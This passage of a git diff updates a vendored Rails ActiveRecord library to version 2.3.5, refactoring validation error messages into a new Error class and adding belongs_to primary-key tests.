+      # <li><tt>activerecord.errors.models.user.attributes.title.blank</tt></li>
+      # <li><tt>activerecord.errors.models.user.blank</tt></li>
+      # <li><tt>activerecord.errors.messages.blank</tt></li>
+      # <li>any default you provided through the +options+ hash (in the activerecord.errors scope)</li>
+      # </ol>
+      def generate_message(options = {})
+        keys = @base.class.self_and_descendants_from_active_record.map do |klass|
+          [ :"models.#{klass.name.underscore}.attributes.#{attribute}.#{@message}",
+            :"models.#{klass.name.underscore}.#{@message}" ]
+        end.flatten
+
+        keys << options.delete(:default)
+        keys << :"messages.#{@message}"
+        keys << @message if @message.is_a?(String)
+        keys << @type unless @type == @message
+        keys.compact!
+
+        options.merge!(:default => keys)
+        I18n.translate(keys.shift, options)
+      end
+
+      # Wraps an error message into a full_message format.
+      #
+      # The default full_message format for any locale is <tt>"{{attribute}} {{message}}"</tt>.
+      # One can specify locale specific default full_message format by storing it as a
+      # translation for the key <tt>:"activerecord.errors.full_messages.format"</tt>.
+      #
+      # Additionally one can specify a validation specific error message format by
+      # storing a translation for <tt>:"activerecord.errors.full_messages.[message_key]"</tt>.
+      # E.g. the full_message format for any validation that uses :blank as a message
+      # key (such as validates_presence_of) can be stored to <tt>:"activerecord.errors.full_messages.blank".</tt>
+      #
+      # Because the message key used by a validation can be overwritten on the
+      # <tt>validates_*</tt> class macro level one can customize the full_message format for
+      # any particular validation:
+      #
+      #   # app/models/article.rb
+      #   class Article < ActiveRecord::Base
+      #     validates_presence_of :title, :message => :"title.blank"
+      #   end
+      #
+      #   # config/locales/en.yml
+      #   en:
+      #     activerecord:
+      #       errors:
+      #         full_messages:
+      #           title:
+      #             blank: This title is screwed!
+      def generate_full_message(options = {})
+        keys = [
+          :"full_messages.#{@message}",
+          :'full_messages.format',
+          '{{attribute}} {{message}}'
+        ]
+
+        options.merge!(:default => keys, :message => self.message)
+        I18n.translate(keys.shift, options)
+      end
+
+      # Return user options with default options.
+      #
+      def default_options
+        options.reverse_merge :scope => [:activerecord, :errors],
+                              :model => @base.class.human_name,
+                              :attribute => @base.class.human_attribute_name(attribute.to_s),
+                              :value => value
+      end
+  end
+
   # Active Record validation is reported to and from this object, which is used by Base#save to
   # determine whether the object is in a valid state to be saved. See usage example in Validations.
   class Errors
     include Enumerable
-    
+
     class << self
       def default_error_messages
         ActiveSupport::Deprecation.warn("ActiveRecord::Errors.default_error_messages has been deprecated. Please use I18n.translate('activerecord.errors.messages').")
@@ -27,7 +139,8 @@ module ActiveRecord
     end
 
     def initialize(base) # :nodoc:
-      @base, @errors = base, {}
+      @base = base
+      clear
     end
 
     # Adds an error to the base object instead of any particular attribute. This is used
@@ -43,11 +156,13 @@ module ActiveRecord
     # error can be added to the same +attribute+ in which case an array will be returned on a call to <tt>on(attribute)</tt>.
     # If no +messsage+ is supplied, :invalid is assumed.
     # If +message+ is a Symbol, it will be translated, using the appropriate scope (see translate_error).
+    #
     def add(attribute, message = nil, options = {})
-      message ||= :invalid
-      message = generate_message(attribute, message, options) if message.is_a?(Symbol)
+      options[:message] = options.delete(:default) if options.has_key?(:default)
+      error, message = message, nil if message.is_a?(Error)
+
       @errors[attribute.to_s] ||= []
-      @errors[attribute.to_s] << message
+      @errors[attribute.to_s] << (error || Error.new(@base, attribute, message, options))
     end
 
     # Will add an error message to each of the attributes in +attributes+ that is empty.
@@ -66,49 +181,6 @@ module ActiveRecord
         add(attr, :blank, :default => custom_message) if value.blank?
       end
     end
-    
-    # Translates an error message in it's default scope (<tt>activerecord.errrors.messages</tt>).
-    # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>, if it's not there, 
-    # it's looked up in <tt>models.MODEL.MESSAGE</tt> and if that is not there it returns the translation of the 
-    # default message (e.g. <tt>activerecord.errors.messages.MESSAGE</tt>). The translated model name, 
-    # translated attribute name and the value are available for interpolation.
-    #
-    # When using inheritence in your models, it will check all the inherited models too, but only if the model itself
-    # hasn't been found. Say you have <tt>class Admin < User; end</tt> and you wanted the translation for the <tt>:blank</tt>
-    # error +message+ for the <tt>title</tt> +attribute+, it looks for these translations:
-    # 
-    # <ol>
-    # <li><tt>activerecord.errors.models.admin.attributes.title.blank</tt></li>
-    # <li><tt>activerecord.errors.models.admin.blank</tt></li>
-    # <li><tt>activerecord.errors.models.user.attributes.title.blank</tt></li>
-    # <li><tt>activerecord.errors.models.user.blank</tt></li>
-    # <li><tt>activerecord.errors.messages.blank</tt></li>
-    # <li>any default you provided through the +options+ hash (in the activerecord.errors scope)</li>
-    # </ol>
-    def generate_message(attribute, message = :invalid, options = {})
-
-      message, options[:default] = options[:default], message if options[:default].is_a?(Symbol)
-
-      defaults = @base.class.self_and_descendents_from_active_record.map do |klass| 
-        [ :"models.#{klass.name.underscore}.attributes.#{attribute}.#{message}", 
-          :"models.#{klass.name.underscore}.#{message}" ]
-      end
-      
-      defaults << options.delete(:default)
-      defaults = defaults.compact.flatten << :"messages.#{message}"
-
-      key = defaults.shift
-      value = @base.respond_to?(attribute) ? @base.send(attribute) : nil
-
-      options = { :default => defaults,
-        :model => @base.class.human_name,
-        :attribute => @base.class.human_attribute_name(attribute.to_s),
-        :value => value,
-        :scope => [:activerecord, :errors]
-      }.merge(options)
-
-      I18n.translate(key, options)
-    end
 
     # Returns true if the specified +attribute+ has errors associated with it.
     #
@@ -138,8 +210,9 @@ module ActiveRecord
     #   company.errors.on(:email)     # => "can't be blank"
     #   company.errors.on(:address)   # => nil
     def on(attribute)
-      errors = @errors[attribute.to_s]
-      return nil if errors.nil?
+      attribute = attribute.to_s
+      return nil unless @errors.has_key?(attribute)
+      errors = @errors[attribute].map(&:to_s)
       errors.size == 1 ? errors.first : errors
     end
 
@@ -163,7 +236,11 @@ module ActiveRecord
     #   #    name - can't be blank
     #   #    address - can't be blank
     def each
-      @errors.each_key { |attr| @errors[attr].each { |msg| yield attr, msg } }
+      @errors.each_key { |attr| @errors[attr].each { |error| yield attr, error.message } }
+    end
+
+    def each_error
+      @errors.each_key { |attr| @errors[attr].each { |error| yield attr, error } }
     end
 
     # Yields each full error message added. So <tt>Person.errors.add("first_name", "can't be empty")</tt> will be returned
@@ -194,23 +271,10 @@ module ActiveRecord
     #   company.errors.full_messages # =>
     #     ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Address can't be blank"]
     def full_messages(options = {})
-      full_messages = []
-
-      @errors.each_key do |attr|
-        @errors[attr].each do |message|
-          next unless message
-
-          if attr == "base"
-            full_messages << message
-          else
-            #key = :"activerecord.att.#{@base.class.name.underscore.to_sym}.#{attr}" 
-            attr_name = @base.class.human_attribute_name(attr)
-            full_messages << attr_name + ' ' + message
-          end
-        end
+      @errors.values.inject([]) do |full_messages, errors|
+        full_messages + errors.map { |error| error.full_message }
       end
-      full_messages
-    end 
+    end
 
     # Returns true if no errors have been added.
     def empty?
@@ -219,7 +283,7 @@ module ActiveRecord
 
     # Removes all errors that have been added.
     def clear
-      @errors = {}
+      @errors = ActiveSupport::OrderedHash.new
     end
 
     # Returns the total number of errors added. Two errors added to the same attribute will be counted as such.
@@ -255,7 +319,11 @@ module ActiveRecord
         full_messages.each { |msg| e.error(msg) }
       end
     end
-    
+
+    def generate_message(attribute, message = :invalid, options = {})
+      ActiveSupport::Deprecation.warn("ActiveRecord::Errors#generate_message has been deprecated. Please use ActiveRecord::Error.new().to_s.")
+      Error.new(@base, attribute, message, options).to_s
+    end
   end
 
 
@@ -438,7 +506,7 @@ module ActiveRecord
 
         validates_each(attr_names, configuration) do |record, attr_name, value|
           unless record.send("#{attr_name}_confirmation").nil? or value == record.send("#{attr_name}_confirmation")
-            record.errors.add(attr_name, :confirmation, :default => configuration[:message]) 
+            record.errors.add(attr_name, :confirmation, :default => configuration[:message])
           end
         end
       end
@@ -480,7 +548,7 @@ module ActiveRecord
 
         validates_each(attr_names,configuration) do |record, attr_name, value|
           unless value == configuration[:accept]
-            record.errors.add(attr_name, :accepted, :default => configuration[:message]) 
+            record.errors.add(attr_name, :accepted, :default => configuration[:message])
           end
         end
       end
@@ -494,18 +562,20 @@ module ActiveRecord
       # The first_name attribute must be in the object and it cannot be blank.
       #
       # If you want to validate the presence of a boolean field (where the real values are true and false),
-      # you will want to use validates_inclusion_of :field_name, :in => [true, false]
-      # This is due to the way Object#blank? handles boolean values. false.blank? # => true
+      # you will want to use <tt>validates_inclusion_of :field_name, :in => [true, false]</tt>.
+      #
+      # This is due to the way Object#blank? handles boolean values: <tt>false.blank? # => true</tt>.
       #
       # Configuration options:
       # * <tt>message</tt> - A custom error message (default is: "can't be blank").
-      # * <tt>on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>,
+      #   <tt>:update</tt>).
       # * <tt>if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. :if => :allow_validation, or :if => Proc.new { |user| user.signup_step > 2 }).  The
-      #   method, proc or string should return or evaluate to a true or false value.
+      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
+      #   The method, proc or string should return or evaluate to a true or false value.
       # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. :unless => :skip_validation, or :unless => Proc.new { |user| user.signup_step <= 2 }).  The
-      #   method, proc or string should return or evaluate to a true or false value.
+      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
+      #   The method, proc or string should return or evaluate to a true or false value.
       #
       def validates_presence_of(*attr_names)
         configuration = { :on => :save }
@@ -574,6 +644,8 @@ module ActiveRecord
         # Get range option and value.
         option = range_options.first
         option_value = options[range_options.first]
+        key = {:is => :wrong_length, :minimum => :too_short, :maximum => :too_long}[option]
+        custom_message = options[:message] || options[key]
 
         case option
           when :within, :in
@@ -582,9 +654,9 @@ module ActiveRecord
             validates_each(attrs, options) do |record, attr, value|
               value = options[:tokenizer].call(value) if value.kind_of?(String)
               if value.nil? or value.size < option_value.begin
-                record.errors.add(attr, :too_short, :default => options[:too_short], :count => option_value.begin)
+                record.errors.add(attr, :too_short, :default => custom_message || options[:too_short], :count => option_value.begin)
               elsif value.size > option_value.end
-                record.errors.add(attr, :too_long, :default => options[:too_long], :count => option_value.end)
+                record.errors.add(attr, :too_long, :default => custom_message || options[:too_long], :count => option_value.end)
               end
             end
           when :is, :minimum, :maximum
@@ -592,14 +664,11 @@ module ActiveRecord
 
             # Declare different validations per option.
             validity_checks = { :is => "==", :minimum => ">=", :maximum => "<=" }
-            message_options = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }
 
             validates_each(attrs, options) do |record, attr, value|
               value = options[:tokenizer].call(value) if value.kind_of?(String)
               unless !value.nil? and value.size.method(validity_checks[option])[option_value]
-                key = message_options[option]
-                custom_message = options[:message] || options[key]
-                record.errors.add(attr, key, :default => custom_message, :count => option_value) 
+                record.errors.add(attr, key, :default => custom_message, :count => option_value)
               end
             end
         end
@@ -687,7 +756,7 @@ module ActiveRecord
       #   ActiveRecord::ConnectionAdapters::SchemaStatements#add_index. In the
       #   rare case that a race condition occurs, the database will guarantee
       #   the field's uniqueness.
-      #   
+      #
       #   When the database catches such a duplicate insertion,
       #   ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid
       #   exception. You can either choose to let this error propagate (which
@@ -696,7 +765,7 @@ module ActiveRecord
       #   that the title already exists, and asking him to re-enter the title).
       #   This technique is also known as optimistic concurrency control:
       #   http://en.wikipedia.org/wiki/Optimistic_concurrency_control
-      #   
+      #
       #   Active Record currently provides no way to distinguish unique
       #   index constraint errors from other types of database errors, so you
       #   will have to parse the (database-specific) exception message to detect
@@ -720,20 +789,20 @@ module ActiveRecord
           # class (which has a database table to query from).
           finder_class = class_hierarchy.detect { |klass| !klass.abstract_class? }
 
-          is_text_column = finder_class.columns_hash[attr_name.to_s].text?
+          column = finder_class.columns_hash[attr_name.to_s]
 
           if value.nil?
             comparison_operator = "IS ?"
-          elsif is_text_column
+          elsif column.text?
             comparison_operator = "#{connection.case_sensitive_equality_operator} ?"
-            value = value.to_s
+            value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s
           else
             comparison_operator = "= ?"
           end
 
           sql_attribute = "#{record.class.quoted_table_name}.#{connection.quote_column_name(attr_name)}"
 
-          if value.nil? || (configuration[:case_sensitive] || !is_text_column)
+          if value.nil? || (configuration[:case_sensitive] || !column.text?)
             condition_sql = "#{sql_attribute} #{comparison_operator}"
             condition_params = [value]
           else
@@ -744,7 +813,7 @@ module ActiveRecord
           if scope = configuration[:scope]
             Array(scope).map do |scope_item|
               scope_value = record.send(scope_item)
-              condition_sql << " AND #{record.class.quoted_table_name}.#{scope_item} #{attribute_condition(scope_value)}"
+              condition_sql << " AND " << attribute_condition("#{record.class.quoted_table_name}.#{scope_item}", scope_value)
               condition_params << scope_value
             end
           end
@@ -794,7 +863,7 @@ module ActiveRecord
 
         validates_each(attr_names, configuration) do |record, attr_name, value|
           unless value.to_s =~ configuration[:with]
-            record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value) 
+            record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value)
           end
         end
       end
@@ -802,7 +871,7 @@ module ActiveRecord
       # Validates whether the value of the specified attribute is available in a particular enumerable object.
       #
       #   class Person < ActiveRecord::Base
-      #     validates_inclusion_of :gender, :in => %w( m f ), :message => "woah! what are you then!??!!"
+      #     validates_inclusion_of :gender, :in => %w( m f )
       #     validates_inclusion_of :age, :in => 0..99
       #     validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension {{value}} is not included in the list"
       #   end
@@ -828,7 +897,7 @@ module ActiveRecord
 
         validates_each(attr_names, configuration) do |record, attr_name, value|
           unless enum.include?(value)
-            record.errors.add(attr_name, :inclusion, :default => configuration[:message], :value => value) 
+            record.errors.add(attr_name, :inclusion, :default => configuration[:message], :value => value)
           end
         end
       end
@@ -862,7 +931,7 @@ module ActiveRecord
 
         validates_each(attr_names, configuration) do |record, attr_name, value|
           if enum.include?(value)
-            record.errors.add(attr_name, :exclusion, :default => configuration[:message], :value => value) 
+            record.errors.add(attr_name, :exclusion, :default => configuration[:message], :value => value)
           end
         end
       end
@@ -903,7 +972,7 @@ module ActiveRecord
         configuration.update(attr_names.extract_options!)
 
         validates_each(attr_names, configuration) do |record, attr_name, value|
-          unless (value.is_a?(Array) ? value : [value]).inject(true) { |v, r| (r.nil? || r.valid?) && v }
+          unless (value.is_a?(Array) ? value : [value]).collect { |r| r.nil? || r.valid? }.all?
             record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value)
           end
         end
@@ -970,7 +1039,7 @@ module ActiveRecord
             case option
               when :odd, :even
                 unless raw_value.to_i.method(ALL_NUMERICALITY_CHECKS[option])[]
-                  record.errors.add(attr_name, option, :value => raw_value, :default => configuration[:message]) 
+                  record.errors.add(attr_name, option, :value => raw_value, :default => configuration[:message])
                 end
               else
                 record.errors.add(attr_name, option, :default => configuration[:message], :value => raw_value, :count => configuration[option]) unless raw_value.method(ALL_NUMERICALITY_CHECKS[option])[configuration[option]]
@@ -1040,6 +1109,11 @@ module ActiveRecord
       errors.empty?
     end
 
+    # Performs the opposite of <tt>valid?</tt>. Returns true if errors were added, false otherwise.
+    def invalid?
+      !valid?
+    end
+
     # Returns the Errors object that holds all information about attribute error messages.
     def errors
       @errors ||= Errors.new(self)
@@ -1047,15 +1121,15 @@ module ActiveRecord
 
     protected
       # Overwrite this method for validation checks on all saves and use <tt>Errors.add(field, msg)</tt> for invalid attributes.
-      def validate #:doc:
+      def validate
       end
 
       # Overwrite this method for validation checks used only on creation.
-      def validate_on_create #:doc:
+      def validate_on_create
       end
 
       # Overwrite this method for validation checks used only on updates.
-      def validate_on_update # :doc:
+      def validate_on_update
       end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/version.rb b/vendor/rails/activerecord/lib/active_record/version.rb
index fa05364d..d9a0fc28 100644
--- a/vendor/rails/activerecord/lib/active_record/version.rb
+++ b/vendor/rails/activerecord/lib/active_record/version.rb
@@ -1,8 +1,8 @@
 module ActiveRecord
   module VERSION #:nodoc:
     MAJOR = 2
-    MINOR = 2
-    TINY  = 2
+    MINOR = 3
+    TINY  = 5
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/activerecord/lib/activerecord.rb b/vendor/rails/activerecord/lib/activerecord.rb
index cd62b2af..bb6a0db2 100644
--- a/vendor/rails/activerecord/lib/activerecord.rb
+++ b/vendor/rails/activerecord/lib/activerecord.rb
@@ -1 +1,2 @@
 require 'active_record'
+ActiveSupport::Deprecation.warn 'require "activerecord" is deprecated and will be removed in Rails 3. Use require "active_record" instead.'
diff --git a/vendor/rails/activerecord/test/cases/adapter_test.rb b/vendor/rails/activerecord/test/cases/adapter_test.rb
index 04770646..3dd3dd8f 100644
--- a/vendor/rails/activerecord/test/cases/adapter_test.rb
+++ b/vendor/rails/activerecord/test/cases/adapter_test.rb
@@ -63,6 +63,18 @@ class AdapterTest < ActiveRecord::TestCase
     def test_show_nonexistent_variable_returns_nil
       assert_nil @connection.show_variable('foo_bar_baz')
     end
+
+    def test_not_specifying_database_name_for_cross_database_selects
+      assert_nothing_raised do
+        ActiveRecord::Base.establish_connection({
+          :adapter  => 'mysql',
+          :username => 'rails'
+        })
+        ActiveRecord::Base.connection.execute "SELECT activerecord_unittest.pirates.*, activerecord_unittest2.courses.* FROM activerecord_unittest.pirates, activerecord_unittest2.courses"
+      end
+
+      ActiveRecord::Base.establish_connection 'arunit'
+    end
   end
 
   if current_adapter?(:PostgreSQLAdapter)
diff --git a/vendor/rails/activerecord/test/cases/ar_schema_test.rb b/vendor/rails/activerecord/test/cases/ar_schema_test.rb
index 431dc7a1..4c1589d9 100644
--- a/vendor/rails/activerecord/test/cases/ar_schema_test.rb
+++ b/vendor/rails/activerecord/test/cases/ar_schema_test.rb
@@ -1,5 +1,4 @@
 require "cases/helper"
-require 'active_record/schema'
 
 if ActiveRecord::Base.connection.supports_migrations?
 
diff --git a/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 40a85039..9f3945f8 100644
--- a/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -14,6 +14,7 @@ require 'models/tagging'
 require 'models/comment'
 require 'models/sponsor'
 require 'models/member'
+require 'models/essay'
 
 class BelongsToAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :developers, :projects, :topics,
@@ -25,6 +26,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert !Client.find(3).firm.nil?, "Microsoft should have a firm"
   end
 
+  def test_belongs_to_with_primary_key
+    client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
+    assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
+  end
+
   def test_proxy_assignment
     account = Account.find(1)
     assert_nothing_raised { account.firm = account.firm }
@@ -47,6 +53,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal apple.id, citibank.firm_id
   end
 
+  def test_natural_assignment_with_primary_key
+    apple = Firm.create("name" => "Apple")
+    citibank = Client.create("name" => "Primary key client")
+    citibank.firm_with_primary_key = apple
+    assert_equal apple.name, citibank.firm_name
+  end
+
   def test_no_unexpected_aliasing
     first_firm = companies(:first_firm)
     another_firm = companies(:another_firm)
@@ -69,6 +82,15 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal apple, citibank.firm
   end
 
+  def test_creating_the_belonging_object_with_primary_key
+    client = Client.create(:name => "Primary key client")
+    apple  = client.create_firm_with_primary_key("name" => "Apple")
+    assert_equal apple, client.firm_with_primary_key
+    client.save
+    client.reload
+    assert_equal apple, client.firm_with_primary_key
+  end
+
   def test_building_the_belonging_object
     citibank = Account.create("credit_limit" => 10)
     apple    = citibank.build_firm("name" => "Apple")
@@ -76,6 +98,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal apple.id, citibank.firm_id
   end
 
+  def test_building_the_belonging_object_with_primary_key
+    client = Client.create(:name => "Primary key client")
+    apple  = client.build_firm_with_primary_key("name" => "Apple")
+    client.save
+    assert_equal apple.name, client.firm_name
+  end
+
   def test_natural_assignment_to_nil
     client = Client.find(3)
     client.firm = nil
@@ -84,6 +113,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_nil client.client_of
   end
 
+  def test_natural_assignment_to_nil_with_primary_key
+    client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
+    client.firm_with_primary_key = nil
+    client.save
+    assert_nil client.firm_with_primary_key(true)
+    assert_nil client.client_of
+  end
+
   def test_with_different_class_name
     assert_equal Company.find(1).name, Company.find(3).firm_with_other_name.name
     assert_not_nil Company.find(3).firm_with_other_name, "Microsoft should have a firm"
@@ -110,6 +147,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
   end
 
+  def test_belongs_to_with_primary_key_counter
+    debate = Topic.create("title" => "debate")
+    assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
+
+    trash = debate.replies_with_primary_key.create("title" => "blah!", "content" => "world around!")
+    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
+
+    trash.destroy
+    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
+  end
+
   def test_belongs_to_counter_with_assigning_nil
     p = Post.find(1)
     c = Comment.find(1)
@@ -122,6 +170,18 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, Post.find(p.id).comments.size
   end
 
+  def test_belongs_to_with_primary_key_counter_with_assigning_nil
+    debate = Topic.create("title" => "debate")
+    reply  = Reply.create("title" => "blah!", "content" => "world around!", "parent_title" => "debate")
+
+    assert_equal debate.title, reply.parent_title
+    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count")
+
+    reply.topic_with_primary_key = nil
+
+    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count")
+  end
+
   def test_belongs_to_counter_with_reassigning
     t1 = Topic.create("title" => "t1")
     t2 = Topic.create("title" => "t2")
@@ -154,6 +214,23 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 0, Topic.find(t2.id).replies.size
   end
 
+  def test_belongs_to_reassign_with_namespaced_models_and_counters
+    t1 = Web::Topic.create("title" => "t1")
+    t2 = Web::Topic.create("title" => "t2")
+    r1 = Web::Reply.new("title" => "r1", "content" => "r1")
+    r1.topic = t1
+
+    assert r1.save
+    assert_equal 1, Web::Topic.find(t1.id).replies.size
+    assert_equal 0, Web::Topic.find(t2.id).replies.size
+
+    r1.topic = Web::Topic.find(t2.id)
+
+    assert r1.save
+    assert_equal 0, Web::Topic.find(t1.id).replies.size
+    assert_equal 1, Web::Topic.find(t2.id).replies.size
+  end
+
   def test_belongs_to_counter_after_save
     topic = Topic.create!(:title => "monday night")
     topic.replies.create!(:title => "re: monday night", :content => "football")
@@ -172,37 +249,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, Topic.find(topic.id)[:replies_count]
   end
 
-  def test_belongs_to_counter_after_save
-    topic = Topic.create("title" => "monday night")
-    topic.replies.create("title" => "re: monday night", "content" => "football")
-    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
-
-    topic.save
-    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
-  end
-
-  def test_belongs_to_counter_after_update_attributes
-    topic = Topic.create("title" => "37s")
-    topic.replies.create("title" => "re: 37s", "content" => "rails")
-    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
-
-    topic.update_attributes("title" => "37signals")
-    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
-  end
-
-  def test_assignment_before_parent_saved
-    client = Client.find(:first)
-    apple = Firm.new("name" => "Apple")
-    client.firm = apple
-    assert_equal apple, client.firm
-    assert apple.new_record?
-    assert client.save
-    assert apple.save
-    assert !apple.new_record?
-    assert_equal apple, client.firm
-    assert_equal apple, client.firm(true)
-  end
-
   def test_assignment_before_child_saved
     final_cut = Client.new("name" => "Final Cut")
     firm = Firm.find(1)
@@ -215,17 +261,16 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal firm, final_cut.firm(true)
   end
 
-  def test_assignment_before_either_saved
+  def test_assignment_before_child_saved_with_primary_key
     final_cut = Client.new("name" => "Final Cut")
-    apple = Firm.new("name" => "Apple")
-    final_cut.firm = apple
+    firm = Firm.find(1)
+    final_cut.firm_with_primary_key = firm
     assert final_cut.new_record?
-    assert apple.new_record?
     assert final_cut.save
     assert !final_cut.new_record?
-    assert !apple.new_record?
-    assert_equal apple, final_cut.firm
-    assert_equal apple, final_cut.firm(true)
+    assert !firm.new_record?
+    assert_equal firm, final_cut.firm_with_primary_key
+    assert_equal firm, final_cut.firm_with_primary_key(true)
   end
 
   def test_new_record_with_foreign_key_but_no_object
@@ -274,90 +319,6 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 17, reply.replies.size
   end
 
-  def test_store_two_association_with_one_save
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.new
-
-    customer1 = order.billing = Customer.new
-    customer2 = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer1, order.billing
-    assert_equal customer2, order.shipping
-
-    order.reload
-
-    assert_equal customer1, order.billing
-    assert_equal customer2, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +2, Customer.count
-  end
-
-
-  def test_store_association_in_two_relations_with_one_save
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.new
-
-    customer = order.billing = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    order.reload
-
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +1, Customer.count
-  end
-
-  def test_store_association_in_two_relations_with_one_save_in_existing_object
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.create
-
-    customer = order.billing = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    order.reload
-
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +1, Customer.count
-  end
-
-  def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.create
-
-    customer = order.billing = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    order.reload
-
-    customer = order.billing = order.shipping = Customer.new
-
-    assert order.save
-    order.reload
-
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +2, Customer.count
-  end
-
-
   def test_association_assignment_sticks
     post = Post.find(:first)
 
@@ -390,52 +351,75 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     member = Member.create
     sponsor.sponsorable = member
     assert_equal "Member", sponsor.sponsorable_type
-    
+
     # should update when assigning a new record
     sponsor = Sponsor.new
     member = Member.new
     sponsor.sponsorable = member
     assert_equal "Member", sponsor.sponsorable_type
   end
-  
+
+  def test_polymorphic_assignment_with_primary_key_foreign_type_field_updating
+    # should update when assigning a saved record
+    essay = Essay.new
+    writer = Author.create(:name => "David")
+    essay.writer = writer
+    assert_equal "Author", essay.writer_type
+
+    # should update when assigning a new record
+    essay = Essay.new
+    writer = Author.new
+    essay.writer = writer
+    assert_equal "Author", essay.writer_type
+  end
+
   def test_polymorphic_assignment_updates_foreign_id_field_for_new_and_saved_records
     sponsor = Sponsor.new
     saved_member = Member.create
     new_member = Member.new
-    
+
     sponsor.sponsorable = saved_member
     assert_equal saved_member.id, sponsor.sponsorable_id
-    
+
     sponsor.sponsorable = new_member
     assert_equal nil, sponsor.sponsorable_id
   end
 
-  def test_save_fails_for_invalid_belongs_to
-    assert log = AuditLog.create(:developer_id=>0,:message=>"")
+  def test_polymorphic_assignment_with_primary_key_updates_foreign_id_field_for_new_and_saved_records
+    essay = Essay.new
+    saved_writer = Author.create(:name => "David")
+    new_writer = Author.new
 
-    log.developer = Developer.new
-    assert !log.developer.valid?
-    assert !log.valid?
-    assert !log.save
-    assert_equal "is invalid", log.errors.on("developer")
-  end
+    essay.writer = saved_writer
+    assert_equal saved_writer.name, essay.writer_id
 
-  def test_save_succeeds_for_invalid_belongs_to_with_validate_false
-    assert log = AuditLog.create(:developer_id=>0,:message=>"")
-
-    log.unvalidated_developer = Developer.new
-    assert !log.unvalidated_developer.valid?
-    assert log.valid?
-    assert log.save
+    essay.writer = new_writer
+    assert_equal nil, essay.writer_id
   end
 
   def test_belongs_to_proxy_should_not_respond_to_private_methods
-    assert_raises(NoMethodError) { companies(:first_firm).private_method }
-    assert_raises(NoMethodError) { companies(:second_client).firm.private_method }
+    assert_raise(NoMethodError) { companies(:first_firm).private_method }
+    assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
   end
 
   def test_belongs_to_proxy_should_respond_to_private_methods_via_send
     companies(:first_firm).send(:private_method)
     companies(:second_client).firm.send(:private_method)
   end
+
+  def test_save_of_record_with_loaded_belongs_to
+    @account = companies(:first_firm).account
+
+    assert_nothing_raised do
+      Account.find(@account.id).save!
